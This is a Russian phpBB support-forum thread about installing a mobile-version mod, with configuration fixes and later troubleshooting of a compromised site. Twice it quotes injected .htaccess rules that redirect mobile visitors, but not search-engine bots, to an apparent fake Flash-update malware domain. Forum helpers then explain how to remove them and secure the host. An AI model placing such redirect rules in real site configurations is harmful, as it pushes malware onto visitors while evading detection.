Полезная информация


----

Начать новую тему Ответить на тему
АвторСообщение

 Сообщение Мобильная версия phpbb3 2012-05-16

Аватар пользователя

Введение

Сегодня хотелось бы проанонсировать очередной полезный мод для phpbb3, а именно Мобильную версию phpbb3. Очень хорошая модификация для крупных форумов ( и не только), позволит вам экономить траффик при посещении форума с мобильного устройства. Среди основных достоинств - автоматическое определение мобильного устройства и переключение на мобильный стиль.

Установка

Скачиваем архив, прикрепленный ниже и устанавливаем мод по инструкции
Вложение :
Комментарий к файлу: Мобильная версия phpbb3 - отличный мод для phpbb3, позволяющий добавить мобильную версию на форум
mobile.rar [36.65 KiB]
Скачиваний: 538

После установки нам нужно еще скачать облегченный стиль, наиболее подходящие стили находятся тут
http://www.artodia.com/phpbb-mobile/index.html
 

Скачиваем, устанавливаем стиль как обычный стиль в админке, после этого идем на вкладку Общие - Настройки Форума - в пункте Стиль для мобильных устройств: выбираем установленный стиль и радуемся результатам.
Если в логе ошибок периодически возникает такая запись
Undefined index: is_bot
 

Связанная с файлом session.php, то заменяем строку
   if (!$this->data['is_bot'] && ($mobile_cookie == 'on' || ($is_mobile && $mobile_cookie == 'not_set')))
 

На
if (empty($this->data['is_bot']) && ($mobile_cookie == 'on' || ($is_mobile && $mobile_cookie == 'not_set')))
 


A Внимание !!!В шаблон вашего мобильного стиля необходимо добавить ссылку «Полная версия сайта». Код этой ссылки:
<!-- IF not S_IS_BOT --><a href="{U_MOBILE_OFF}">{L_MOBILE_OFF}</a><!-- ENDIF -->
 
.
Добавлять лучше на видное место, в шапку (styles/ваш стиль/template/overall_header.html).

Рекомендуется сделать мобильный стиль неактивным на вкладке «Стили» администраторского раздела; это нужно для того, чтобы пользователи не могли включить этот стиль через личный раздел. Рекомендуется также удалить из личного раздела мобильного стиля опцию «Стиль конференции». Для этого надо открыть файл styles/ваш мобильный стиль/template/ucp_prefs_personal.html и удалить блок, расположенный между строками <!-- IF S_STYLE_OPTIONS --> и <!-- ENDIF -->. Эти рекомендации не влияют на работоспособность мода, однако их исполнение позволит избежать путаницы с выбором стиля. Если в настройках конференции выбрана опция «Заменять стиль пользователя», то делать описанное в этом абзаце не надо.



Случайно получилось, что это 10 000-ое сообщение, юхууу :ya_hoo_oo:


_________________
Подпись:
-_- -_-
На вопросы, связанные с phpBB, по ЛС не отвечаю !!!

Теги темы
Мобильная версия phpbb3, мобильный стиль phpbb3, версия форума для КПК, версия форума для телефонов phpbb3
          Вернуться наверх  
 


Случайный аватар. Пользователю рекомендуется загрузить свой аватар в Настройках профиля

Здравствуйте!Подскажите как в моб.стиль MTG Mobile добавить кнопку 'Спасибо' за пост на форуме?


          Вернуться наверх  
 


Аватар пользователя

Ну как как, определяете на базе чего сделан мобильный стиль, открываете инструкцию мода спасибок, выполняете соответствующие стилевые правки и готово


_________________
Подпись:
-_- -_-
На вопросы, связанные с phpBB, по ЛС не отвечаю !!!
          Вернуться наверх  
 


Случайный аватар. Пользователю рекомендуется загрузить свой аватар в Настройках профиля

Стиль вроди на основе субсильвер2,хотелось бы более подробный ответ,я в этом не спец.


          Вернуться наверх  
 


Аватар пользователя

Ну если на сабсильвере, то открываем инструкцию к моду спасибок, находим правки для сабсильвера и применяем их к своему стилю


_________________
Подпись:
-_- -_-
На вопросы, связанные с phpBB, по ЛС не отвечаю !!!
          Вернуться наверх  
 


Аватар пользователя

У меня юзеры жалуются что когда заходят с мобильника на сайт то видят надпись - Flash_Player_install.jar Что сее означает?


          Вернуться наверх  
 


Аватар пользователя

Эммм по идее ничего такого не должно быть, мб вирус??


_________________
Подпись:
-_- -_-
На вопросы, связанные с phpBB, по ЛС не отвечаю !!!
          Вернуться наверх  
 


Аватар пользователя

DeaDRoMeO писал(а):

мб вирус??

Где именно ? На сайте ?


          Вернуться наверх  
 


Аватар пользователя

amor1977, вообще с мобильного не смог зайти на ваш форум, пишет временно недоступно


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.
          Вернуться наверх  
 


Аватар пользователя

akella1900 писал(а):

amor1977, вообще с мобильного не смог зайти на ваш форум, пишет временно недоступно

Вот и я о том же. А в чем дело не пойму. :-(--


          Вернуться наверх  
 


Аватар пользователя

мод автораспознавания мобильника не ставили?


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.
          Вернуться наверх  
 


Аватар пользователя

И еще одно просмотрите свои файлы .htaccess на предмет такой заразы
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://flash-critical-upd.ru/?update&source=.htaccess [L,R=302] #
RewriteEngine On
 


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.
          Вернуться наверх  
 


Аватар пользователя

akella1900 писал(а):

мод автораспознавания мобильника не ставили?

Нет. Только тот мод ставил, что в первом посту.
akella1900 писал(а):

И еще одно просмотрите свои файлы .htaccess на предмет такой заразы

Есть такое. :sh_ok: А что это за зараза ? И что с ней делать.


          Вернуться наверх  
 


Аватар пользователя

закоментируйте строки, посмотрим работу. но у вас кто то воспользовался дырой и внес изменения в файл

можете прикрепить файл я гляну если что


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.

Информация о редактировании
Последний раз редактировалось akella1900 09 мар 2013, 18:04, всего редактировалось 1 раз.
          Вернуться наверх  
 


Аватар пользователя

akella1900 писал(а):

можете прикрепить файл я гляну если что

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://flash-critical-upd.ru/?update&source=.htaccess [L,R=302] #
RewriteEngine On

RewriteEngine On

#
# Uncomment the statement below if you want to make use of
# HTTP authentication and it does not already work.
# This could be required if you are for example using PHP via Apache CGI.
#
#<IfModule mod_rewrite.c>
#RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
#</IfModule>

#
# Uncomment the statement below if your PHP running as a CGI
# and you have no access to If-Modified-Since/If-None-Match request headers
#
#<IfModule mod_rewrite.c>
#RewriteEngine on
#RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
#RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]
#</IfModule>

<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>

# BEGIN WordPress

# END WordPress
 


          Вернуться наверх  
 


Аватар пользователя

можно оставить вот так, думаю заработает, все равно там все закоментировано, а вверхние строки похоже на лишнее
RewriteEngine On

#
# Uncomment the statement below if you want to make use of
# HTTP authentication and it does not already work.
# This could be required if you are for example using PHP via Apache CGI.
#
#<IfModule mod_rewrite.c>
#RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
#</IfModule>

#
# Uncomment the statement below if your PHP running as a CGI
# and you have no access to If-Modified-Since/If-None-Match request headers
#
#<IfModule mod_rewrite.c>
#RewriteEngine on
#RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
#RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]
#</IfModule>

<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>

# BEGIN WordPress

# END WordPress
 


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.
          Вернуться наверх  
 


Аватар пользователя

Если есть резервная копия этого файла еще и там посмотреть что было внем, не уверен но могли потереть что то, и смените пароли на хосте и фтп, могли взломать

смущает не полный код к чему он
#
# Uncomment the statement below if you want to make use of
# HTTP authentication and it does not already work.
# This could be required if you are for example using PHP via Apache CGI.
#
#<IfModule mod_rewrite.c>
#RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
#</IfModule>

#
# Uncomment the statement below if your PHP running as a CGI
# and you have no access to If-Modified-Since/If-None-Match request headers
#
#<IfModule mod_rewrite.c>
#RewriteEngine on
#RewriteRule .* - [E=HTTP_IF_MODIFIED_SINCE:%{HTTP:If-Modified-Since}]
#RewriteRule .* - [E=HTTP_IF_NONE_MATCH:%{HTTP:If-None-Match}]
#</IfModule>


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.

Информация о редактировании
Последний раз редактировалось akella1900 09 мар 2013, 18:30, всего редактировалось 1 раз.
          Вернуться наверх  
 


Аватар пользователя

Вот один из первых файлов.

#
# Uncomment the statement below if you want to make use of
# HTTP authentication and it does not already work.
# This could be required if you are for example using PHP via Apache CGI.
#
#<IfModule mod_rewrite.c>
#RewriteEngine on
#RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]
#</IfModule>

<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>
 


          Вернуться наверх  
 


Аватар пользователя

можете и его вставить, но дальше поработать с ним под свои потребности, там работает только это
<Files "config.php">
Order Allow,Deny
Deny from All
</Files>

<Files "common.php">
Order Allow,Deny
Deny from All
</Files>
 

остальное отключено
и позаботиться надо о безопастности, поискать непонятые файлы ява скриптов, права на файлы и папки глянуть
теперь с мобильного работает


_________________
Подпись:
back'up придумали трусы Ваша воля моими руками, но платно. Стучим в skype akella1900.

Информация о редактировании
Последний раз редактировалось akella1900 09 мар 2013, 19:14, всего редактировалось 2 раз(а).
          Вернуться наверх  
 


Аватар пользователя

Еще один баг заметил. При попытке зарегестрироватся с мобильной версии, браузер выдает всякие крякозябры. Лог ошибок выдает - Отсутствует локализация «ru» для набора рисунков «Artodia: Mobile Green» Это что то с переводом ?


          Вернуться наверх  
 


Аватар пользователя

amor1977 писал(а):

Отсутствует локализация «ru» для набора рисунков «Artodia: Mobile Green»

создайте копию папки "en", переименуйте её в "ru" и закиньте в imageset


_________________
Подпись:
Я уже прошел тот период когда можно было забывать про очистку кеша ©salexcorp
          Вернуться наверх  
 
 
Начать новую тему Ответить на тему


Дополнительные возможности

  Похожие темы  Автор  Ответов  Просмотров  Последнее сообщение 
Аватар пользователя Вывод последних активных тем (компактная версия)

ursego

15

2116

Аватар пользователя

07 мар 2017, 13:00

DeaDRoMeO

Аватар пользователя Who Views Who phpbb3
Who Views Who - модификация для phpbb3, которая немного расширит информацию предоставляемую на странице Кто Онлайн

DeaDRoMeO

8

2546

Аватар пользователя

30 сен 2013, 20:27

DeaDRoMeO

Аватар пользователя Log connections мод phpbb3
Log connections мод поможет увидеть вам кто у вас в гостях

akella1900

34

5475

Аватар пользователя

22 окт 2014, 09:16

DeaDRoMeO

Аватар пользователя Лог регистраций phpbb3
Лог регистраций phpbb3 - полезное в администрировании дополнение для phpbb3, данная модификация ведет лог всех ответов пользователей при регистрации

DeaDRoMeO

125

12111

Аватар пользователя

05 дек 2015, 20:27

Чародейка

Аватар пользователя BAN redirect URL phpbb3
BAN redirect URL - модификация для phpbb3, позволяющая перенаправлять заблокированных пользователей по любому адресу

DeaDRoMeO

21

4950

Аватар пользователя

16 июн 2014, 05:05

DeaDRoMeO

Оставить свой комментарий

Поделиться темой с помощью

Ссылки на тему

Прямая ссылка:
BB-код для форумов, сайтов, блогов:
HTML ссылка:
 


cron

Самая неформальная поддержка phpBB :P